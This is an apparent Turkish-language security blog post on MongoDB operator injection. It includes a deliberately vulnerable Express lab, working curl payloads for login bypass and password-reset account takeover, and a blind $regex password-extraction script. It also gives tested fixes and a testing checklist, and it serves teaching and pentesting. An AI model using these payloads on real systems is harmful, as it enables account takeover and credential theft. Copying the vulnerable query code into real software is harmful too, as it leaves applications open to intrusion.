NoSQL Injection, Bölüm 1: MongoDB API'lerinde Operatör Enjeksiyonu

Gerçek bir Express + MongoDB sürücüsü lab'ında $ne, $gt, $in ve $regex ile login bypass, şifre sıfırlama üzerinden hesap ele geçirme ve kör şifre çıkarma. Express 5'in açığı neden yarım kapattığı ve Mongoose 9'un varsayılan ayarlarla neden hâlâ açık olduğu da içinde.

9 dk okuma
ibrahimsql
1.727 kelime

NoSQL Injection, Bölüm 1: MongoDB API'lerinde Operatör Enjeksiyonu

SQL injection her yıl biraz daha azalıyor, çünkü artık çoğu framework parametreli sorguyu varsayılan olarak kullanıyor. NoSQL injection aynı eğriyi izlemedi. MongoDB sorguları JSON nesnesi, modern API'ler JSON body kabul ediyor ve bir JSON body, kodun string beklediği yere rahatlıkla bir nesne koyabiliyor. O nesne sorguya dokunulmadan ulaşırsa, saldırgan artık sorgu operatörü yazıyor demektir.

Bu seri, gerçek testlerde hâlâ karşımıza çıkan NoSQL injection türlerini sırayla ele alıyor:

  1. Operatör enjeksiyonu (bu bölüm): değer yerine $ne, $gt, $in, $regex.
  2. Sunucu tarafı JavaScript enjeksiyonu: $where, $function, $accumulator ve 2026'da hâlâ ne çalışıyor.
  3. Aggregation pipeline enjeksiyonu: $match, $lookup ve $expr içine giren kullanıcı girdisi.
  4. MongoDB dışı: Elasticsearch query string, Redis komutları ve filtreyi doğrudan veritabanına geçiren GraphQL resolver'ları.

Bu bölümdeki her şey gerçek bir MongoDB wire protokolü sunucusuna karşı; resmi Node.js mongodb sürücüsü, Express 5.3 ve Mongoose 9.11 ile çalıştırıldı. Sunucu FerretDB 1.24; MongoDB 7.0 protokolünü ve sorgu operatörlerini uyguluyor. Aşağıdaki yanıtlar o çalıştırmadan birebir kopyalandı.

Lab

Üç endpoint, üçü de production'da görebileceğin türden kod: login, kullanıcı filtresi ve token ile şifre sıfırlama.

JavaScript
// Deliberately vulnerable NoSQL injection lab. Binds to 127.0.0.1 only.
import express from 'express';
import { MongoClient } from 'mongodb';
 
const MODE = process.argv[2] || 'vuln';   // vuln | safe | simpleqs
const SAFE = MODE === 'safe';
const client = await MongoClient.connect('mongodb://127.0.0.1:27017/');
const users = client.db('lab').collection('users');
 
if (MODE === 'vuln') {
  await users.deleteMany({});
  await users.insertMany([
    { username: 'admin', password: 'S3cr3t!x9', role: 'admin', resetToken: null },
    { username: 'alice', password: 'alice2026', role: 'user', resetToken: 'f3a9c2e1-77b0-4d1e-9a51-0c6b2d8e4a10' },
  ]);
}
 
const app = express();
// Express 4 parsed ?a[b]=c into objects by default ('extended'). Express 5 defaults to 'simple'.
if (MODE !== 'simpleqs') app.set('query parser', 'extended');
app.use(express.json());
 
// Safe mode: refuse anything that is not a plain string.
const str = (v) => {
  if (SAFE && typeof v !== 'string') throw Object.assign(new Error('invalid input'), { status: 400 });
  return v;
};
 
app.post('/login', async (req, res) => {
  const user = await users.findOne({ username: str(req.body.username), password: str(req.body.password) });
  if (!user) return res.status(401).json({ ok: false });
  res.json({ ok: true, user: user.username, role: user.role });
});
 
app.get('/users', async (req, res) => {
  const rows = await users.find({ role: str(req.query.role) }).project({ _id: 0, username: 1, role: 1 }).toArray();
  res.json(rows);
});
 
app.post('/reset', async (req, res) => {
  const user = await users.findOne({ resetToken: str(req.body.token) });
  if (!user) return res.status(400).json({ ok: false, error: 'invalid token' });
  await users.updateOne({ _id: user._id }, { $set: { password: str(req.body.newPassword), resetToken: null } });
  res.json({ ok: true, reset: user.username });
});
 
app.use((err, req, res, next) => res.status(err.status || 500).json({ error: err.message }));
app.listen({ vuln: 3000, safe: 3001, simpleqs: 3002 }[MODE], '127.0.0.1');

Şifreler sadece oracle'ı kolay görebilmek için düz metin tutuluyor. Hash'li durumu aşağıda ayrıca ele alıyorum; sanıldığı kadar güvenli değil.

Neden çalışıyor

Kod şunu bekliyor:

{ username: "admin", password: "wrong" }

express.json() gelen her JSON'u parse ediyor, yani saldırgan bunun yerine şunu gönderebilir:

{ username: "admin", password: { "$ne": "x" } }

Sürücü, nesnenin hangi kısmının geliştiriciden hangi kısmının istekten geldiğini bilmiyor. Nesnenin tamamını sunucuya gönderiyor, sunucu da { "$ne": "x" } ifadesini "şifre x'e eşit değil" olarak okuyor. Kaçılacak bir string ya da kapatılacak bir tırnak yok; saldırgan sorgunun metnini değil, yapısını kontrol ediyor.

Login bypass

Normal, başarısız bir giriş:

$ curl -s http://127.0.0.1:3000/login -H "Content-Type: application/json" \
    -d '{"username":"admin","password":"wrong"}'
{"ok":false}

Şifreye $ne:

$ curl -s http://127.0.0.1:3000/login -H "Content-Type: application/json" \
    -d '{"username":"admin","password":{"$ne":"x"}}'
{"ok":true,"user":"admin","role":"admin"}

Kullanıcı adını bilmiyor musun? $gt: "" boş olmayan her string'le eşleşir. findOne ilk eşleşmeyi döndürür; birçok koleksiyonda bu, oluşturulan ilk hesaptır ve çoğu zaman admin'dir:

$ curl -s http://127.0.0.1:3000/login -H "Content-Type: application/json" \
    -d '{"username":{"$gt":""},"password":{"$gt":""}}'
{"ok":true,"user":"admin","role":"admin"}

Belirli hesapları hedeflemek için olası isimlerle $in kullan:

$ curl -s http://127.0.0.1:3000/login -H "Content-Type: application/json" \
    -d '{"username":{"$in":["admin","root","administrator"]},"password":{"$ne":null}}'
{"ok":true,"user":"admin","role":"admin"}

Şifre sıfırlama ile hesap ele geçirme

Bu varyant code review'da kolayca gözden kaçıyor, çünkü "token rastgele bir UUID" cümlesi tartışmayı bitirmiş gibi geliyor. Sorun token'da değil, sorgunun kendisinde:

users.findOne({ resetToken: req.body.token })

Token yerine operatör gönder. Bekleyen sıfırlama isteği olan herhangi bir hesap eşleşir:

Bash
$ curl -s http://127.0.0.1:3000/reset -H "Content-Type: application/json" \
    -d '{"token":{"$ne":null},"newPassword":"pwned-2026"}'
{"ok":true,"reset":"alice"}
 
$ curl -s http://127.0.0.1:3000/login -H "Content-Type: application/json" \
    -d '{"username":"alice","password":"pwned-2026"}'
{"ok":true,"user":"alice","role":"user"}

Hesap; token olmadan, e-postaya erişmeden ve kurbanın hiçbir etkileşimi olmadan ele geçti. Belirli bir kullanıcı için sıfırlama başlatabiliyorsan (onun e-postasıyla POST /forgot), $ne: null'ın hangi hesaba düşeceğini de sen seçmiş olursun. Aynı kalıp e-posta doğrulama token'ları, davet kodları, API anahtarı sorguları ve magic-link girişleri için de geçerli.

Query string: Express 4 ve Express 5

Tek yol JSON body değil. Express 4'ün varsayılanı olan extended query parser'da köşeli parantez sözdizimi iç içe nesneye dönüşür:

Bash
$ curl -sg "http://127.0.0.1:3000/users?role=user"
[{"username":"alice","role":"user"}]
 
$ curl -sg "http://127.0.0.1:3000/users?role[\$ne]=user"
[{"username":"admin","role":"admin"}]
 
$ curl -sg "http://127.0.0.1:3000/users?role[\$regex]=."
[{"username":"admin","role":"admin"},{"username":"alice","role":"user"}]

Express 5 varsayılanı simple parser'a çevirdi; bu parser iç içe nesne üretmiyor. Port 3002, aynı kodu extended ayarı olmadan çalıştırıyor:

$ curl -sg "http://127.0.0.1:3002/users?role[\$ne]=user"
[]

Query string yolu kapandı. JSON body ise hâlâ açık:

$ curl -s http://127.0.0.1:3002/login -H "Content-Type: application/json" \
    -d '{"username":"admin","password":{"$ne":"x"}}'
{"ok":true,"user":"admin","role":"admin"}

"Express 5'e geçtik" demek GET filtrelerini düzeltir, POST ve PUT body'lerine hiçbir şey yapmaz. Ayrıca koddaki app.set('query parser', 'extended') ya da doğrudan qs.parse() çağrılarını da ara; ikisi de eski davranışı geri getirir. Diğer framework'ler de aynı kontrolü hak ediyor. PHP password[$ne]=x girdisini kendiliğinden diziye çevirir; birçok Python ve Go handler'ı da filtreyi kurmadan önce JSON'u genel bir map'e açar.

$regex ile kör veri çıkarma

Login bir evet/hayır oracle'ı. $regex bunu şifreyi karakter karakter okumanın yoluna çeviriyor:

Bash
$ curl -s http://127.0.0.1:3000/login -H "Content-Type: application/json" \
    -d '{"username":"admin","password":{"$regex":"^S"}}'
{"ok":true,"user":"admin","role":"admin"}
 
$ curl -s http://127.0.0.1:3000/login -H "Content-Type: application/json" \
    -d '{"username":"admin","password":{"$regex":"^A"}}'
{"ok":false}

Her istekte tek karakter tahmin etmek yavaş. Karakter sınıfı her istekte kalan aralığı ikiye böler; böylece her karakter yaklaşık 7 istek tutar:

JavaScript
// Blind extraction through a login oracle using $regex.
const URL = 'http://127.0.0.1:3000/login';
let requests = 0;
 
async function oracle(regex) {
  requests++;
  const r = await fetch(URL, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ username: 'admin', password: { $regex: regex } }),
  });
  return (await r.json()).ok === true;
}
 
// Escape the known prefix so characters like . $ ( ) ! are matched literally.
const lit = (s) => s.replace(/[.*+?^${}()|[\]\\\/-]/g, '\\$&');
const hex = (c) => '\\x' + c.toString(16).padStart(2, '0');
 
async function nextChar(prefix) {
  let lo = 0x20, hi = 0x7e;                      // printable ASCII
  if (!(await oracle(`^${lit(prefix)}[${hex(lo)}-${hex(hi)}]`))) return null;
  while (lo < hi) {
    const mid = (lo + hi) >> 1;
    if (await oracle(`^${lit(prefix)}[${hex(lo)}-${hex(mid)}]`)) hi = mid;
    else lo = mid + 1;
  }
  return String.fromCharCode(lo);
}
 
let value = '';
for (let c; (c = await nextChar(value)) !== null; ) value += c;
console.log(`password=${value} requests=${requests}`);
password=S3cr3t!x9 requests=73

Dokuz karakter, 73 istek. İki ayrıntı önemli:

  • Öneki escape et. lit() olmazsa çıkarılan bir . ya da $ regex meta karakterine dönüşür ve sonraki tahminler yanlış şeyle eşleşir. Çıkarma işlemi hata vermek yerine sessizce yanlış sonuca kayar.
  • Sonu tespit et. Script, önekten sonra yazdırılabilir bir karakter kalmadığında durur. Sonucu ^...$ ile çapalanmış bir eşleşmeyle doğrulayabilirsin.

"Şifrelerimiz hash'li, bu bize uymaz"

Kısmen uyar. Kod önce kullanıcı adıyla arayıp sonra bcrypt.compare(input, user.hash) çalıştırıyorsa, şifre alanındaki $ne hilesi tutmaz; çünkü bcrypt.compare bir nesne alır. Ama kullanıcı adı sorgusu hâlâ enjekte edilebilir. username ya da email üzerinde $regex ile hesapları listeleyebilir, aynı oracle'la aynı sorgudaki her alanı çıkarabilirsin: sıfırlama token'ları, API anahtarları, düz metin tutulan TOTP secret'ları ya da offline kıracağın hash'in kendisi.

Düzeltmeler (test edildi)

1. String olmayanı sınırda reddet

Lab'daki güvenli mod tek bir şey yapıyor: string olması gereken bir değer string değilse 400 dönüyor.

Bash
$ curl -s http://127.0.0.1:3001/login -H "Content-Type: application/json" \
    -d '{"username":"admin","password":{"$ne":"x"}}'
{"error":"invalid input"}
 
$ curl -sg "http://127.0.0.1:3001/users?role[\$ne]=user"
{"error":"invalid input"}
 
$ curl -s http://127.0.0.1:3001/reset -H "Content-Type: application/json" \
    -d '{"token":{"$ne":null},"newPassword":"x"}'
{"error":"invalid input"}
 
$ curl -s http://127.0.0.1:3001/login -H "Content-Type: application/json" \
    -d '{"username":"admin","password":"S3cr3t!x9"}'
{"ok":true,"user":"admin","role":"admin"}

Gerçek bir kod tabanında bunu, çağırmayı hatırlaman gereken bir yardımcı fonksiyonla değil, her route'ta çalışan bir şema doğrulayıcıyla yap (Zod, Joi, Ajv, class-validator). z.object({ username: z.string(), password: z.string() }).strict() saldırıyı daha veritabanı koduna gelmeden reddeder.

2. $eq ile karşılaştır

Girdi bir filtreye girmek zorundaysa onu $eq ile sar. $eq'ya verilen nesne operatör olarak yorumlanmaz, düz değer olarak karşılaştırılır:

JavaScript
users.countDocuments({ username: 'admin', password: { $ne: 'x' } })
// 1
users.countDocuments({ username: { $eq: 'admin' }, password: { $eq: { $ne: 'x' } } })
// 0

3. Mongoose: şema seni korumuyor

Şemada password: String tanımlıysa nesneleri reddetmesi gerektiğini düşünürsün. Mongoose 9.11 varsayılan ayarlarla reddetmiyor; çünkü $ne geçerli bir sorgu operatörü ve Mongoose operatörün kendisini değil, operatörün değerini cast ediyor:

JavaScript
const User = mongoose.model('User', new mongoose.Schema({ username: String, password: String, role: String }), 'users');
 
await User.countDocuments({ username: 'admin', password: { $ne: 'x' } })
// 1
 
await User.countDocuments({ username: 'admin', password: { $ne: 'x' } }).setOptions({ sanitizeFilter: true })
// CastError: Cast to string failed for value "{ '$ne': 'x' }" (type Object) at path "password"

Bunu mongoose.set('sanitizeFilter', true) ile global olarak aç. Kendi kodunun gerçekten operatöre ihtiyaç duyduğu yerde mongoose.trusted({ $ne: ... }) ile açıkça işaretle.

4. Düzeltme sanılan ama olmayanlar

  • String içinde $ engellemek. Saldırı değeri string değil, nesne. String filtresi onu hiç görmez.
  • Tek başına express-mongo-sanitize. req.body, req.query ve req.params içinden $ ile başlayan anahtarları siler; bu işe yarar. Ama veritabanına başka yoldan ulaşan değerleri kapsamaz: WebSocket mesajları, kuyruk payload'ları, GraphQL değişkenleri ya da kaydedilip sonradan okunan veri.
  • Rate limiting. Regex ile çıkarmayı yavaşlatır. Login bypass ve sıfırlama üzerinden ele geçirme ise tek istekte biter.

Test kontrol listesi

  • Sorguya ulaşan her JSON alanında değer yerine {"$ne": null}, {"$gt": ""} ve {"$regex": "."} gönder.
  • Aynısını query parametrelerinde köşeli parantezle tekrarla: param[$ne]=x.
  • Token sorgularını öne al: şifre sıfırlama, e-posta doğrulama, davetler, magic link, API anahtarları.
  • Sadece "başarılı" bayrağına değil; yanıt uzunluğuna, status koduna ve süreye de bak. Kısmi eşleşmeler yanıtı çoğu zaman küçük şekillerde değiştirir.
  • Evet/hayır farkı bulduysan, hassas olmayan bir alanı kısa bir $regex çıkarmasıyla okuyarak etkiyi kanıtla ve istek sayısını rapora yaz.
  • Code review'da, şema doğrulamasından geçmeden find, findOne, updateOne, deleteMany ya da aggregate çağrısına giden req.body. ve req.query. değerlerini ara.
  1. bölümde operatörlerden koda geçiyoruz: $where ve MongoDB'nin sunucu tarafında hâlâ JavaScript çalıştırdığı diğer yerler.
---
Bu yazıyı paylaş:
TwitterLinkedInFacebook

Ne düşünüyorsun?

Tepki bırakarak geri bildirim ver

İlgili Yazılar